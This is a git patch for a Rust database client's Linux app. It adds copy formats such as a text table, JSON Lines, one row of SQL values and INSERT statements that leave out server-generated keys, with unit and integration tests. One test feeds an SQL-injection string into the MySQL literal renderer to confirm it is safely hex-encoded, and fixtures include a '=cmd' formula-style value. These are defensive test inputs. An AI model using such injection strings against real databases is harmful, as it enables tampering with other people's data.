                 .with_cmd([format!("{CONFIG_DIR}/start.sh")])
                 .with_env_var("TABLEPRO_PASSWORD", &password)
                 .with_env_var("TABLEPRO_TLS", if listening == Listening::Tls { "1" } else { "0" })
+                // The image hands rseq to TCMalloc for its per-CPU caches, and with
+                // those on MongoDB 8.0 exits on kernels 6.19 to 7.0.13 (SERVER-121912).
+                .with_env_var("GLIBC_TUNABLES", "glibc.pthread.rseq=1")
                 .with_startup_timeout(READY_TIMEOUT);
             if let (Some(network), Some(alias)) = (network, &network_alias) {
                 request = request.with_network(network.name()).with_container_name(alias);

From dcbce8afe0816880b36af9e5586257e9e9f22376 Mon Sep 17 00:00:00 2001
From: Cristian <cristian.sedaboni@gmail.com>
Date: Wed, 28 Oct 2026 21:23:24 +0100
Subject: [PATCH 14/44] feat(linux-grid): copy rows as a text table, JSON
 Lines, one row or INSERT without generated keys (#3862)

Co-authored-by: sedax90 <5001801+sedax90@users.noreply.github.com>
Co-authored-by: Ngo Quoc Dat <datlechin@gmail.com>
---
 linux/Cargo.lock                              |   2 +
 linux/Cargo.toml                              |   4 +
 linux/ROADMAP.md                              |   2 +-
 linux/changelog.d/3862.added.md               |   1 +
 linux/changelog.d/3862.fixed.md               |   1 +
 .../app/src/ui/browse_tab/grid_handlers.rs    |   6 +
 .../app/src/ui/clipboard/clipboard_copy.rs    |   3 +-
 .../app/src/ui/clipboard/copy_renderer.rs     |  87 ++-
 linux/crates/app/src/ui/clipboard/tests.rs    |  87 +++
 linux/crates/app/src/ui/data_grid/columns.rs  |  19 +-
 linux/crates/app/src/ui/data_grid/copy/mod.rs | 106 ++-
 .../crates/app/src/ui/data_grid/copy/tests.rs |  97 ++-
 .../crates/app/src/ui/data_grid/grid_menu.rs  |  16 +-
 linux/crates/app/src/ui/export/dialog.rs      |   4 +
 .../crates/app/src/ui/export/export_format.rs |   4 +
 .../app/src/ui/export/export_sink_parts.rs    |   1 +
 linux/crates/core/Cargo.toml                  |   2 +
 linux/crates/core/src/column/column_info.rs   |  52 ++
 linux/crates/core/src/column/kind.rs          |   6 +
 linux/crates/core/src/dialect/sql_dialect.rs  |  15 +
 .../src/export/encoder/json_array_encoder.rs  |  59 +-
 .../src/export/encoder/json_lines_encoder.rs  |  43 ++
 .../core/src/export/encoder/json_object.rs    |  74 ++
 linux/crates/core/src/export/encoder/mod.rs   |   5 +-
 .../src/export/encoder/sql_insert_encoder.rs  |  25 +-
 linux/crates/core/src/export/encoder/tests.rs |  42 +-
 linux/crates/core/src/export/in_clause.rs     |  18 +-
 linux/crates/core/src/export/mod.rs           |  10 +-
 linux/crates/core/src/export/sql.rs           | 665 ++++++++++++++----
 linux/crates/core/src/export/text_table.rs    | 342 +++++++++
 linux/crates/core/src/export/value_list.rs    |  70 ++
 linux/crates/core/src/import/pasted_table.rs  |  22 +-
 linux/crates/core/src/value/mod.rs            |  16 +
 linux/crates/drivers/cassandra/src/dialect.rs |   2 +-
 linux/crates/drivers/mssql/src/catalog/mod.rs |   3 +-
 .../mssql/src/catalog/mssql_column_row.rs     |  12 +-
 linux/crates/drivers/mssql/src/dialect.rs     |  25 +
 .../tests/integration/identity_insert.rs      | 176 +++++
 .../drivers/mssql/tests/integration/main.rs   |   1 +
 linux/crates/drivers/mysql/src/dialect.rs     |   1 +
 linux/crates/drivers/postgres/src/dialect.rs  |  18 +
 .../postgres/tests/integration/decode.rs      |   1 +
 .../tests/integration/identity_insert.rs      | 104 +++
 .../postgres/tests/integration/main.rs        |   1 +
 .../crates/drivers/sqlite/src/catalog/mod.rs  |   8 +-
 .../sqlite/src/catalog/sqlite_column_row.rs   |  16 +-
 linux/crates/drivers/sqlite/src/metadata.rs   |  17 -
 .../sqlite/tests/integration/metadata.rs      |  11 +-
 .../src/conformance/cases/round_trip.rs       |  36 +-
 49 files changed, 2029 insertions(+), 309 deletions(-)
 create mode 100644 linux/changelog.d/3862.added.md
 create mode 100644 linux/changelog.d/3862.fixed.md
 create mode 100644 linux/crates/core/src/export/encoder/json_lines_encoder.rs
 create mode 100644 linux/crates/core/src/export/encoder/json_object.rs
 create mode 100644 linux/crates/core/src/export/text_table.rs
 create mode 100644 linux/crates/core/src/export/value_list.rs
 create mode 100644 linux/crates/drivers/mssql/tests/integration/identity_insert.rs
 create mode 100644 linux/crates/drivers/postgres/tests/integration/identity_insert.rs

diff --git a/linux/Cargo.lock b/linux/Cargo.lock
index b54511224f..1714d8d671 100644
--- a/linux/Cargo.lock
+++ b/linux/Cargo.lock
@@ -5620,6 +5620,7 @@ version = "0.0.0"
 dependencies = [
  "async-trait",
  "chrono",
+ "comfy-table",
  "csv",
  "futures",
  "num-bigint",
@@ -5633,6 +5634,7 @@ dependencies = [
  "thiserror",
  "tokio",
  "tokio-util",
+ "unicode-width",
  "uuid",
  "zip 8.6.0",
 ]
diff --git a/linux/Cargo.toml b/linux/Cargo.toml
index 61cb86ddd5..63737f6de8 100644
--- a/linux/Cargo.toml
+++ b/linux/Cargo.toml
@@ -85,6 +85,10 @@ mongodb = { version = "3.9.1", default-features = false, features = [
 ] }
 chrono = { version = "0.4", default-features = false, features = ["clock", "serde"] }
 csv = "1.4"
+# Already built for duckdb's arrow, with its terminal support; a text
+# table turns that off itself (force_no_tty).
+comfy-table = "7.1"
+unicode-width = "0.2"
 # No zlib feature: it pulls libz-sys, and the pure-Rust deflate keeps
 # the build free of another C dependency. Constant memory lets a sheet
 # spill its rows to a temporary file instead of holding them.
diff --git a/linux/ROADMAP.md b/linux/ROADMAP.md
index 3b2f07a205..64aac27bd4 100644
--- a/linux/ROADMAP.md
+++ b/linux/ROADMAP.md
@@ -50,7 +50,7 @@ The app runs on GNOME 50 ([ADR 0015](docs/decisions/0015-gnome-50-platform-floor
 | Cell editing | Editors by column kind: inline text, a multi-line editor, a calendar for dates, a toggle for booleans, JSON checked before saving; values are edited from their exact text, never from what the cell displays. Table tabs only, on tables with a primary key; key, generated and auto-increment columns, and binary, spatial, array and composite values, are read-only |
 | Rows | Insert, duplicate and delete; Paste (Ctrl+V) adds tab-separated rows from the clipboard, filling the columns from the focused one or by a header's names, or edits the focused cell with one value, and asks first above 1,000 rows, up to 100,000; Set NULL and Empty, and DEFAULT on a new row; undo and redo; save or discard pending changes, and stop a save. On ClickHouse, Cassandra and ScyllaDB a save is not atomic, and Stop takes effect between statements |
 | Bulk delete | Deleting 10 rows or more asks first, unless Confirm Before Deleting Rows is off in Preferences |
-| Copy | Copy; Copy As rows, with headers, JSON, CSV with or without headers, Markdown or IN clause, and INSERT in an editable table tab; Copy Column Name; Show Row as JSON |
+| Copy | Copy; Copy As rows, with headers, CSV with or without headers, JSON, JSON Lines, Markdown, a text table, IN clause or one row of SQL values, and INSERT with or without generated keys in an editable table tab; Copy Column Name; Show Row as JSON |
 | Foreign keys | Open Referenced Row (Ctrl+J) on a key cell opens the table it points at in a new tab, filtered on every column of the key; Show Referencing Rows on a saved row opens a table whose key points at it. A tab already showing those rows comes to the front |
 | Column widths | Kept per table; Widen Column and Narrow Column in the cell menu (Shift+Alt+Right and Shift+Alt+Left) change them from the keyboard |
 | CSV import | Into an existing table, with a column mapping, in one write batch (one transaction where the engine has them), up to 64 MiB |
diff --git a/linux/changelog.d/3862.added.md b/linux/changelog.d/3862.added.md
new file mode 100644
index 0000000000..57c9b8ad5a
--- /dev/null
+++ b/linux/changelog.d/3862.added.md
@@ -0,0 +1 @@
+Copy rows as a text table, JSON Lines, one row of SQL values, or INSERT statements without generated keys.
diff --git a/linux/changelog.d/3862.fixed.md b/linux/changelog.d/3862.fixed.md
new file mode 100644
index 0000000000..3319bd88f9
--- /dev/null
+++ b/linux/changelog.d/3862.fixed.md
@@ -0,0 +1 @@
+Copy As INSERT and SQL export wrote values that SQL Server IDENTITY and PostgreSQL GENERATED ALWAYS columns refuse.
diff --git a/linux/crates/app/src/ui/browse_tab/grid_handlers.rs b/linux/crates/app/src/ui/browse_tab/grid_handlers.rs
index 518f3e6911..c6179d3bf3 100644
--- a/linux/crates/app/src/ui/browse_tab/grid_handlers.rs
+++ b/linux/crates/app/src/ui/browse_tab/grid_handlers.rs
@@ -94,6 +94,12 @@ impl BrowseModel {
                 .filter(|column| column.is_generated)
                 .map(|column| column.name.clone())
                 .collect(),
+            numbered: self
+                .current_columns
+                .iter()
+                .filter(|column| column.is_auto_increment)
+                .map(|column| column.name.clone())
+                .collect(),
         }
     }
 
diff --git a/linux/crates/app/src/ui/clipboard/clipboard_copy.rs b/linux/crates/app/src/ui/clipboard/clipboard_copy.rs
index a2fbb2be01..af03960f57 100644
--- a/linux/crates/app/src/ui/clipboard/clipboard_copy.rs
+++ b/linux/crates/app/src/ui/clipboard/clipboard_copy.rs
@@ -77,7 +77,7 @@ impl Copied {
                 ..
             } => Self::Value,
             CopyRequest::InClause { .. } => Self::InList,
-            CopyRequest::Rows { .. } | CopyRequest::Insert(_) => Self::Rows,
+            CopyRequest::Rows { .. } | CopyRequest::Insert(_) | CopyRequest::Values { .. } => Self::Rows,
         }
     }
 
@@ -180,6 +180,7 @@ fn copy_error_text(error: &CopyError) -> String {
         CopyError::Insert(RenderInsertError::NoValues) => gettext("This row has no value to put in an INSERT"),
         CopyError::Literal(_) => gettext("This column has a value that can't be written as SQL"),
         CopyError::EmptyInClause => gettext("Nothing to copy: an IN clause can't carry NULL or binary values"),
+        CopyError::TextTableTooLarge => gettext("Too much to copy as a text table. Copy fewer rows or use CSV."),
         CopyError::ContainsNul => ClipboardError::ContainsNul.message(),
     }
 }
diff --git a/linux/crates/app/src/ui/clipboard/copy_renderer.rs b/linux/crates/app/src/ui/clipboard/copy_renderer.rs
index 5b9f132f2f..cccac5b395 100644
--- a/linux/crates/app/src/ui/clipboard/copy_renderer.rs
+++ b/linux/crates/app/src/ui/clipboard/copy_renderer.rs
@@ -4,8 +4,8 @@ use tablepro_core::column::{ColumnInfo, ColumnType, ResultColumn};
 use tablepro_core::dialect::{LiteralError, SqlDialect};
 use tablepro_core::edit::CellInput;
 use tablepro_core::export::{
-    self, CellsEncoder, CsvEncoder, CsvOptions, EncodeError, JsonArrayEncoder, MarkdownEncoder, RenderInsertError,
-    RowEncoder, TsvEncoder,
+    self, CellsEncoder, CsvEncoder, CsvOptions, EncodeError, JsonArrayEncoder, JsonLinesEncoder, MarkdownEncoder,
+    RenderInsertError, RowEncoder, TextTableError, TsvEncoder,
 };
 use tablepro_core::meta::TableRef;
 use tablepro_core::value::Value;
@@ -32,6 +32,12 @@ pub enum CopyRequest {
         dialect: Arc<dyn SqlDialect>,
         values: InClauseRows,
     },
+    /// Every value of the rows as one list of the engine's literals.
+    Values {
+        dialect: Arc<dyn SqlDialect>,
+        columns: Arc<[ResultColumn]>,
+        rows: Vec<RowSnapshot>,
+    },
 }
 
 /// One column of the rows a user picked, for an IN list.
@@ -51,7 +57,9 @@ pub enum CopyKind {
     Csv,
     CsvWithHeaders,
     Json,
+    JsonLines,
     Markdown,
+    TextTable,
 }
 
 /// Rows as INSERT statements for the server the tab reads.
@@ -83,6 +91,8 @@ pub(crate) enum CopyError {
     /// Every value was NULL or binary, and `()` is not SQL anywhere.
     #[error("no value can go in an IN list")]
     EmptyInClause,
+    #[error("the text table would be too large")]
+    TextTableTooLarge,
     #[error("the text holds a NUL character")]
     ContainsNul,
 }
@@ -98,6 +108,7 @@ pub(crate) fn render(request: CopyRequest) -> Result<ClipboardPayload, CopyError
         CopyRequest::Rows { columns, rows, kind } => render_rows(columns, &rows, kind),
         CopyRequest::Insert(insert) => render_insert(insert),
         CopyRequest::InClause { dialect, values } => render_in_clause(&*dialect, &values),
+        CopyRequest::Values { dialect, columns, rows } => render_values(&*dialect, &columns, &rows),
     }?;
     if holds_nul(&payload.text) {
         return Err(CopyError::ContainsNul);
@@ -126,7 +137,11 @@ fn render_rows(
             ClipboardFormat::Csv,
         ),
         CopyKind::Json => encode(JsonArrayEncoder::new(columns), rows, ClipboardFormat::Json),
+        // No desktop type names JSON Lines, and several values are not
+        // one `application/json` document.
+        CopyKind::JsonLines => encode(JsonLinesEncoder::new(columns), rows, ClipboardFormat::PlainText),
         CopyKind::Markdown => encode(MarkdownEncoder::new(columns), rows, ClipboardFormat::Markdown),
+        CopyKind::TextTable => text_table(&columns, rows),
     }?;
     Ok(ClipboardPayload {
         cells: Some(cells),
@@ -139,7 +154,12 @@ fn render_rows(
 fn copied_cells(columns: &Arc<[ResultColumn]>, rows: &[RowSnapshot], kind: CopyKind) -> Result<String, CopyError> {
     let with_headers = match kind {
         CopyKind::Value(_) | CopyKind::Rows | CopyKind::Csv => false,
-        CopyKind::RowsWithHeaders | CopyKind::CsvWithHeaders | CopyKind::Json | CopyKind::Markdown => true,
+        CopyKind::RowsWithHeaders
+        | CopyKind::CsvWithHeaders
+        | CopyKind::Json
+        | CopyKind::JsonLines
+        | CopyKind::Markdown
+        | CopyKind::TextTable => true,
     };
     let CopyKind::Value(column) = kind else {
         return encoded(CellsEncoder::new(columns.clone(), with_headers), rows);
@@ -183,6 +203,35 @@ fn render_in_clause(dialect: &dyn SqlDialect, values: &InClauseRows) -> Result<C
     })
 }
 
+fn render_values(
+    dialect: &dyn SqlDialect,
+    columns: &[ResultColumn],
+    rows: &[RowSnapshot],
+) -> Result<ClipboardPayload, CopyError> {
+    Ok(ClipboardPayload {
+        text: export::render_value_list(dialect, columns, rows.iter().map(RowSnapshot::values))?,
+        format: ClipboardFormat::Sql,
+        rows: rows.len(),
+        skipped: 0,
+        cells: None,
+    })
+}
+
+fn text_table(columns: &[ResultColumn], rows: &[RowSnapshot]) -> Result<ClipboardPayload, CopyError> {
+    let text =
+        export::render_text_table(columns, rows.iter().map(RowSnapshot::values)).map_err(|error| match error {
+            TextTableError::Encode(error) => CopyError::Encode(error),
+            TextTableError::TooLarge => CopyError::TextTableTooLarge,
+        })?;
+    Ok(ClipboardPayload {
+        text,
+        format: ClipboardFormat::PlainText,
+        rows: rows.len(),
+        skipped: 0,
+        cells: None,
+    })
+}
+
 /// The cell's full text, never the grid's display form, which stands in
 /// `<NULL>` for a NULL and cuts long values.
 fn value_text(columns: &[ResultColumn], rows: &[RowSnapshot], column: usize) -> Result<String, CopyError> {
@@ -236,27 +285,25 @@ fn render_insert(insert: InsertCopy) -> Result<ClipboardPayload, CopyError> {
         columns,
         rows,
     } = insert;
-    let statements = rows
-        .iter()
+    let count = rows.len();
+    let cells: Vec<Vec<CellInput>> = rows
+        .into_iter()
         .map(|row| match row {
-            InsertRow::Saved(snapshot) => {
-                // A row id read after the columns has no place in the
-                // statement, so it is not copied.
-                let cells: Vec<CellInput> = snapshot
-                    .values()
-                    .take(columns.len())
-                    .cloned()
-                    .map(CellInput::Value)
-                    .collect();
-                export::render_insert(&*dialect, &table, &columns, &cells)
-            }
-            InsertRow::Draft(cells) => export::render_insert(&*dialect, &table, &columns, cells),
+            // A row id read after the columns has no place in the
+            // statement, so it is not copied.
+            InsertRow::Saved(snapshot) => snapshot
+                .values()
+                .take(columns.len())
+                .cloned()
+                .map(CellInput::Value)
+                .collect(),
+            InsertRow::Draft(cells) => cells,
         })
-        .collect::<Result<Vec<String>, _>>()?;
+        .collect();
     Ok(ClipboardPayload {
-        text: statements.join("\n"),
+        text: export::render_inserts(&*dialect, &table, &columns, &cells)?,
         format: ClipboardFormat::Sql,
-        rows: rows.len(),
+        rows: count,
         skipped: 0,
         cells: None,
     })
diff --git a/linux/crates/app/src/ui/clipboard/tests.rs b/linux/crates/app/src/ui/clipboard/tests.rs
index 39f926fe76..840e2b54d2 100644
--- a/linux/crates/app/src/ui/clipboard/tests.rs
+++ b/linux/crates/app/src/ui/clipboard/tests.rs
@@ -372,3 +372,90 @@ fn large_copy_renders_on_blocking_pool() {
         serde_json::from_str(&local_text(&clipboard).expect("the copy")).expect("JSON");
     assert_eq!(parsed.len(), 200_000);
 }
+
+#[gtk4::test]
+fn copy_as_text_table_and_json_lines_go_as_plain_text() {
+    // Each copy replaces the one before on the display's one clipboard,
+    // so each is read before the next.
+    let copy = |kind| {
+        let (clipboard, toasts) = copied(rows_request(&people(), kind));
+        let formats = clipboard.formats();
+        assert!(!formats.contain_mime_type("application/json"), "{}", formats.to_str());
+        assert!(formats.contain_mime_type(CELLS_MIME_TYPE), "{}", formats.to_str());
+        (local_text(&clipboard).expect("the copy"), toasts)
+    };
+
+    let (table, toasts) = copy(CopyKind::TextTable);
+    let (json_lines, _) = copy(CopyKind::JsonLines);
+
+    assert_eq!(
+        table,
+        "+----+------------------+\n\
+         | id | name             |\n\
+         +----+------------------+\n\
+         | -5 | =cmd             |\n\
+         |  7 | Ada, \"the first\" |\n\
+         +----+------------------+"
+    );
+    assert_eq!(toasts, ["Copied 2 rows"]);
+    assert_eq!(
+        json_lines,
+        "{\"id\":-5,\"name\":\"=cmd\"}\n{\"id\":7,\"name\":\"Ada, \\\"the first\\\"\"}\n"
+    );
+}
+
+#[gtk4::test]
+fn copy_as_one_row_goes_as_sql_literals() {
+    let (clipboard, toasts) = copied(CopyRequest::Values {
+        dialect: Arc::new(FakeDialect),
+        columns: columns(&["id", "name"]),
+        rows: snapshots(&[
+            vec![Value::Int(7), Value::Text("Ada, 'the first'".into())],
+            vec![Value::Int(8), Value::Null],
+        ]),
+    });
+
+    assert!(clipboard.formats().contain_mime_type("application/sql"));
+    assert_eq!(
+        local_text(&clipboard).as_deref(),
+        Some("7, 'Ada, ''the first''', 8, NULL")
+    );
+    assert_eq!(toasts, ["Copied 2 rows"]);
+}
+
+#[test]
+fn one_row_writes_text_in_the_engines_own_literal() {
+    let dialect = Arc::new(tablepro_driver_mysql::MySqlDialect::new(
+        tablepro_driver_mysql::MySqlFlavour::MySql,
+        &tablepro_core::ServerInfo::new("MySQL", "8.4.3", 8, 4, 3),
+    ));
+    let injected = "\\', 1) -- ";
+
+    let payload = render(CopyRequest::Values {
+        dialect,
+        columns: columns(&["name"]),
+        rows: snapshots(&[vec![Value::Text(injected.into())]]),
+    })
+    .expect("the copy");
+
+    assert_eq!(
+        payload.text,
+        format!("_utf8mb4 X'{}'", tablepro_core::hex::encode_lower(injected.as_bytes()))
+    );
+}
+
+#[test]
+fn a_text_table_too_large_to_hold_is_refused() {
+    let long = Value::Text("x".repeat(60_000));
+    let rows: Vec<Vec<Value>> = std::iter::once(vec![long])
+        .chain((0..1_200).map(|_| vec![Value::Null]))
+        .collect();
+
+    let refused = render(CopyRequest::Rows {
+        columns: columns(&["note"]),
+        rows: snapshots(&rows),
+        kind: CopyKind::TextTable,
+    });
+
+    assert!(matches!(refused, Err(CopyError::TextTableTooLarge)), "{refused:?}");
+}
diff --git a/linux/crates/app/src/ui/data_grid/columns.rs b/linux/crates/app/src/ui/data_grid/columns.rs
index 22409e08f2..1ab8c98547 100644
--- a/linux/crates/app/src/ui/data_grid/columns.rs
+++ b/linux/crates/app/src/ui/data_grid/columns.rs
@@ -6,7 +6,6 @@ use gtk4::prelude::*;
 use gtk4::subclass::prelude::*;
 use gtk4::{self as gtk, glib, pango};
 use tablepro_core::Value;
-use tablepro_core::column::ColumnKind;
 
 use super::grid_cell::{GridCell, TextAttributes};
 use super::server_sorter::ServerSorter;
@@ -273,7 +272,7 @@ impl DataGrid {
         let set = self.imp().columns.borrow();
         let mut changed = false;
         for paint in &set.paints {
-            if !matches!(paint.column.column_type.kind, ColumnKind::Other | ColumnKind::Variant) {
+            if !paint.column.column_type.kind.is_untyped() {
                 continue;
             }
             let index = paint.column.index;
@@ -285,7 +284,7 @@ impl DataGrid {
                         Some(Value::Null) | None => true,
                         Some(value) => {
                             held = true;
-                            is_number(&value)
+                            value.is_number()
                         }
                     });
             let numbers = held && all_numbers;
@@ -615,17 +614,3 @@ fn tabular_width(widget: &impl IsA<gtk::Widget>, chars: u32) -> i32 {
 fn drawn_width(widget: &impl IsA<gtk::Widget>, text: &str) -> i32 {
     widget.create_pango_layout(Some(text)).pixel_size().0
 }
-
-fn is_number(value: &Value) -> bool {
-    match value {
-        Value::Int(_)
-        | Value::UInt(_)
-        | Value::WideInt(_)
-        | Value::Float32(_)
-        | Value::Float64(_)
-        | Value::Decimal(_) => true,
-        Value::Text(text) => text.parse::<f64>().is_ok(),
-        Value::Other(other) => other.text.parse::<f64>().is_ok(),
-        _ => false,
-    }
-}
diff --git a/linux/crates/app/src/ui/data_grid/copy/mod.rs b/linux/crates/app/src/ui/data_grid/copy/mod.rs
index 7b6fb7c6b0..5985c89676 100644
--- a/linux/crates/app/src/ui/data_grid/copy/mod.rs
+++ b/linux/crates/app/src/ui/data_grid/copy/mod.rs
@@ -20,13 +20,15 @@ use crate::ui::filter_strip::FilterVocabulary;
 mod tests;
 
 /// Copy As, one action per format.
-const ROW_COPIES: [(&str, CopyKind); 6] = [
+const ROW_COPIES: [(&str, CopyKind); 8] = [
     ("copy-rows", CopyKind::Rows),
     ("copy-rows-headers", CopyKind::RowsWithHeaders),
     ("copy-json", CopyKind::Json),
+    ("copy-json-lines", CopyKind::JsonLines),
     ("copy-csv", CopyKind::Csv),
     ("copy-csv-headers", CopyKind::CsvWithHeaders),
     ("copy-markdown", CopyKind::Markdown),
+    ("copy-text-table", CopyKind::TextTable),
 ];
 
 pub fn install_actions(grid: &DataGrid) {
@@ -39,7 +41,11 @@ pub fn install_actions(grid: &DataGrid) {
         });
     }
     add(grid, "copy-in-clause", copy_in_clause);
-    add(grid, "copy-insert", copy_insert);
+    add(grid, "copy-one-row", copy_one_row);
+    add(grid, "copy-insert", |grid| copy_insert(grid, Keys::All));
+    add(grid, "copy-insert-without-generated-keys", |grid| {
+        copy_insert(grid, Keys::NotGenerated)
+    });
     add(grid, "copy-column-name", |grid| {
         if let Some(index) = grid.target_column() {
             copy_column_name(grid, index);
@@ -61,8 +67,16 @@ pub fn refresh_actions(grid: &DataGrid, target: Option<&Resolved>) {
     for (name, _) in ROW_COPIES {
         enable(grid, name, rows);
     }
-    enable(grid, "copy-in-clause", cell.is_some() && sql_dialect(grid).is_some());
-    enable(grid, "copy-insert", rows && copies_inserts(grid));
+    let speaks_sql = sql_dialect(grid).is_some();
+    enable(grid, "copy-in-clause", cell.is_some() && speaks_sql);
+    enable(grid, "copy-one-row", rows && speaks_sql);
+    let inserts = rows && copies_inserts(grid);
+    enable(grid, "copy-insert", inserts);
+    enable(
+        grid,
+        "copy-insert-without-generated-keys",
+        inserts && shows_assigned_column(grid),
+    );
     enable(grid, "copy-column-name", cell.is_some());
     enable(grid, "show-row-json", target.and_then(json_row).is_some());
     enable(grid, "export", grid.row_count() > 0);
@@ -117,6 +131,24 @@ impl ShownColumns {
         }
     }
 
+    /// The same columns less those `left_out` picks by their index in the
+    /// result.
+    fn without(self, left_out: impl Fn(usize) -> bool) -> Self {
+        let (indices, columns): (Vec<usize>, Vec<ResultColumn>) = self
+            .indices
+            .iter()
+            .zip(self.columns.iter())
+            .filter(|(index, _)| !left_out(**index))
+            .map(|(index, column)| (*index, column.clone()))
+            .unzip();
+        let in_place = self.in_place && indices.len() == self.indices.len();
+        Self {
+            indices,
+            columns: columns.into(),
+            in_place,
+        }
+    }
+
     /// A row whose columns are all in place keeps sharing its cells.
     fn project(&self, row: RowSnapshot) -> RowSnapshot {
         if self.in_place && row.len() == self.indices.len() {
@@ -163,16 +195,28 @@ fn copy_rows(grid: &DataGrid, rows: &[GridRow], kind: CopyKind) {
     if rows.is_empty() {
         return;
     }
+    let (columns, rows) = shown_rows(grid, rows);
+    render(grid, CopyRequest::Rows { columns, rows, kind });
+}
+
+/// The rows as the grid shows them, under the columns on screen.
+fn shown_rows(grid: &DataGrid, rows: &[GridRow]) -> (Arc<[ResultColumn]>, Vec<RowSnapshot>) {
     let shown = ShownColumns::of(grid);
     let tracked = grid.tracked();
-    render(
-        grid,
-        CopyRequest::Rows {
-            columns: shown.columns.clone(),
-            rows: rows.iter().map(|row| shown.project(tracked.snapshot(row))).collect(),
-            kind,
-        },
-    );
+    let rows = rows.iter().map(|row| shown.project(tracked.snapshot(row))).collect();
+    (shown.columns, rows)
+}
+
+fn copy_one_row(grid: &DataGrid) {
+    let Some(target) = grid.target().filter(|target| !target.rows.is_empty()) else {
+        return;
+    };
+    let Some(dialect) = sql_dialect(grid) else {
+        grid.toast(gettext("Connect to a database first."));
+        return;
+    };
+    let (columns, rows) = shown_rows(grid, &target.rows);
+    render(grid, CopyRequest::Values { dialect, columns, rows });
 }
 
 fn copy_in_clause(grid: &DataGrid) {
@@ -200,10 +244,31 @@ fn copy_in_clause(grid: &DataGrid) {
     );
 }
 
-/// Each row as the INSERT its save would run on the server the rows come
-/// from, under the columns on screen. A draft's leaves out what the
-/// server fills.
-fn copy_insert(grid: &DataGrid) {
+/// Which key columns an INSERT copy writes.
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+enum Keys {
+    All,
+    /// Each statement makes a new row that takes its key from the server,
+    /// so the copy can run against the table the rows came from.
+    NotGenerated,
+}
+
+/// Whether a column on screen takes a new row's value from the server,
+/// so INSERT Without Generated Keys writes something INSERT does not.
+fn shows_assigned_column(grid: &DataGrid) -> bool {
+    let Some(catalog) = catalog_columns(&grid.grid_columns()) else {
+        return false;
+    };
+    grid.shown_columns().into_iter().any(|index| {
+        catalog
+            .get(index)
+            .is_some_and(|column| column.is_assigned_on_insert(&catalog))
+    })
+}
+
+/// Each row as an INSERT for the server the rows come from, under the
+/// columns on screen. A draft's leaves out what the server fills.
+fn copy_insert(grid: &DataGrid, keys: Keys) {
     let (Some(target), Some(config)) = (grid.target(), grid.config()) else {
         return;
     };
@@ -221,7 +286,14 @@ fn copy_insert(grid: &DataGrid) {
         grid.toast(gettext("Connect to a database first."));
         return;
     };
-    let shown = ShownColumns::of(grid);
+    let shown = match keys {
+        Keys::All => ShownColumns::of(grid),
+        Keys::NotGenerated => ShownColumns::of(grid).without(|index| {
+            catalog
+                .get(index)
+                .is_some_and(|column| column.is_assigned_on_insert(&catalog))
+        }),
+    };
     let tracked = grid.tracked();
     let rows = target
         .rows
diff --git a/linux/crates/app/src/ui/data_grid/copy/tests.rs b/linux/crates/app/src/ui/data_grid/copy/tests.rs
index ab3fe4cfa8..e97c1ec116 100644
--- a/linux/crates/app/src/ui/data_grid/copy/tests.rs
+++ b/linux/crates/app/src/ui/data_grid/copy/tests.rs
@@ -6,6 +6,7 @@ use gtk4::prelude::*;
 use gtk4::{gdk, gio};
 use libadwaita as adw;
 use libadwaita::prelude::*;
+use tablepro_core::column::{ColumnDefault, SqlExpression};
 use tablepro_core::dialect::SqlDialect;
 use tablepro_core::edit::CellInput;
 use tablepro_core::meta::TableRef;
@@ -616,7 +617,7 @@ fn copy_as_in_clause_writes_the_servers_literals() {
 }
 
 #[gtk4::test]
-fn in_clause_is_offered_only_for_a_dialect_that_speaks_sql() {
+fn in_clause_and_one_row_are_offered_only_for_a_dialect_that_speaks_sql() {
     let mongo = sql_grid(
         two_text_columns(),
         two_text_values(),
@@ -626,10 +627,11 @@ fn in_clause_is_offered_only_for_a_dialect_that_speaks_sql() {
     let sql = sql_grid(two_text_columns(), two_text_values(), Arc::new(FakeDialect));
     let offered = |grid: &DataGrid, cell: &GridCell| {
         grid.open_cell_menu(cell, None);
-        let enabled = grid
-            .actions()
-            .lookup_action("copy-in-clause")
-            .is_some_and(|action| action.is_enabled());
+        let enabled = ["copy-in-clause", "copy-one-row"].map(|name| {
+            grid.actions()
+                .lookup_action(name)
+                .is_some_and(|action| action.is_enabled())
+        });
         if let Some(menus) = grid.menus() {
             menus.cell.popdown();
         }
@@ -641,5 +643,88 @@ fn in_clause_is_offered_only_for_a_dialect_that_speaks_sql() {
     let in_results = offered(&none.grid, &none.cell_at(0, 1));
     let in_sql = offered(&sql.grid, &sql.cell_at(0, 1));
 
-    assert_eq!((in_mongo, in_results, in_sql), (false, false, true));
+    assert_eq!(
+        (in_mongo, in_results, in_sql),
+        ([false, false], [false, false], [true, true])
+    );
+}
+
+fn numbered_people() -> Vec<ColumnInfo> {
+    let mut columns = people();
+    columns[0].is_auto_increment = true;
+    columns
+}
+
+#[gtk4::test]
+fn copy_as_insert_without_generated_keys_leaves_the_numbered_key_to_the_server() {
+    let grid = sql_grid(numbered_people(), people_rows(), Arc::new(FakeDialect));
+    grid.grid.set_column_visible(2, false);
+    select_all(&grid);
+
+    let text = copied(&grid, || activate(&grid.grid, "copy-insert-without-generated-keys"));
+
+    assert_eq!(
+        text,
+        "INSERT INTO \"users\" (\"name\") VALUES ('Ada');\n\
+         INSERT INTO \"users\" (\"name\") VALUES ('Grace');"
+    );
+}
+
+#[gtk4::test]
+#[expect(
+    clippy::disallowed_methods,
+    reason = "a test fixture stands in for the catalogue, which is where this text comes from in production"
+)]
+fn insert_without_generated_keys_is_offered_for_a_column_on_screen_the_server_fills() {
+    let mut row_number = people();
+    row_number[2].is_auto_increment = true;
+    let mut uuid_key = people();
+    uuid_key[0].default = ColumnDefault::Expression(SqlExpression::from_catalog_text("gen_random_uuid()"));
+    let numbered_hidden = sql_grid(numbered_people(), people_rows(), Arc::new(FakeDialect));
+    numbered_hidden.grid.set_column_visible(0, false);
+    let grids = [
+        sql_grid(numbered_people(), people_rows(), Arc::new(FakeDialect)),
+        sql_grid(row_number, people_rows(), Arc::new(FakeDialect)),
+        sql_grid(uuid_key, people_rows(), Arc::new(FakeDialect)),
+        sql_grid(people(), people_rows(), Arc::new(FakeDialect)),
+        numbered_hidden,
+    ];
+    for grid in &grids {
+        select_all(grid);
+    }
+
+    let offered: Vec<bool> = grids
+        .iter()
+        .map(|grid| grid.is_enabled("copy-insert-without-generated-keys"))
+        .collect();
+
+    assert!(grids[3].is_enabled("copy-insert"));
+    assert_eq!(
+        offered,
+        [true, true, true, false, false],
+        "a numbered key, a numbered column, a defaulted key; not a key the user writes, nor one hidden"
+    );
